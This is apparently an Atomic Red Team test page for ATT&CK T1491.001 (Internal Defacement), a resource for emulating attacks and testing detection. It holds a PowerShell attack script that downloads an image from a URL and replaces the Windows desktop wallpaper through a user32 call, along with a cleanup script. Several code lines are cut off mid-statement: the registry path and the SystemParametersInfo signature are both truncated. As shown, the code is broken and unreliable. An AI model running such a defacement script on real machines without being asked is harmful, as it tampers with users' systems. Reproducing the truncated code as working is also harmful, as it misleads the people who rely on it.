T1491.001 - Internal Defacement

Description from ATT&CK

> An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)

Atomic Tests

- Atomic Test #1 - Replace Desktop Wallpaper

Atomic Test #1 - Replace Desktop Wallpaper

Downloads an image from a URL and sets it as the desktop wallpaper.

Supported Platforms: Windows

auto_generated_guid: 30558d53-9d76-41c4-9267-a7bd5184bed3

Inputs:

Name	Description	Type	Default Value
url_of_wallpaper	URL pointing to the image file you wish to set as wallpaper	Url	https://redcanary.com/wp-content/uploads/Atomic-Red-Team-Logo.png
pointer_to_orginal_wallpaper	Full path to where a file containing the original wallpaper location will be saved	String	$env:TEMP\T1491.001-OrginalWallpaperLocation
wallpaper_location	Full path to where the downloaded wallpaper image will be saved	String	$env:TEMP\T1491.001-newWallpaper.png

Attack Commands: Run with `powershell`!

```
$url = "#{url_of_wallpaper}"
$imgLocation = "#{wallpaper_location}"
$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\Control Panel\
$orgWallpaper | Out-File -FilePath "#{pointer_to_orginal_wallpaper}"
$updateWallpapercode = @'
using System.Runtime.InteropServices;
namespace Win32{

    public class Wallpaper{
        [DllImport("user32.dll", CharSet=CharSet.Auto)]
         static extern int SystemParametersInfo (int uAction , int uParam , string
         public static void SetWallpaper(string thePath){
            SystemParametersInfo(20,0,thePath,3);
        }
    }
}
'@
$wc = New-Object System.Net.WebClient
try{
    $wc.DownloadFile($url, $imgLocation)
    add-type $updateWallpapercode
    [Win32.Wallpaper]::SetWallpaper($imgLocation)
}
catch [System.Net.WebException]{
    Write-Host("Cannot download $url")
    add-type $updateWallpapercode
    [Win32.Wallpaper]::SetWallpaper($imgLocation)
}
finally{
    $wc.Dispose()
}
```

Cleanup Commands:

```
$updateWallpapercode = @'
using System.Runtime.InteropServices;
namespace Win32{

    public class Wallpaper{
        [DllImport("user32.dll", CharSet=CharSet.Auto)]
         static extern int SystemParametersInfo (int uAction , int uParam , string

         public static void SetWallpaper(string thePath){
            SystemParametersInfo(20,0,thePath,3);
        }
    }
}
'@
if (Test-Path -Path #{pointer_to_orginal_wallpaper} -PathType Leaf) {
     $orgImg = Get-Content -Path "#{pointer_to_orginal_wallpaper}"
     add-type $updateWallpapercode
     [Win32.Wallpaper]::SetWallpaper($orgImg)
}
Remove-Item "#{pointer_to_orginal_wallpaper}" -ErrorAction Ignore
Remove-Item "#{wallpaper_location}" -ErrorAction Ignore
```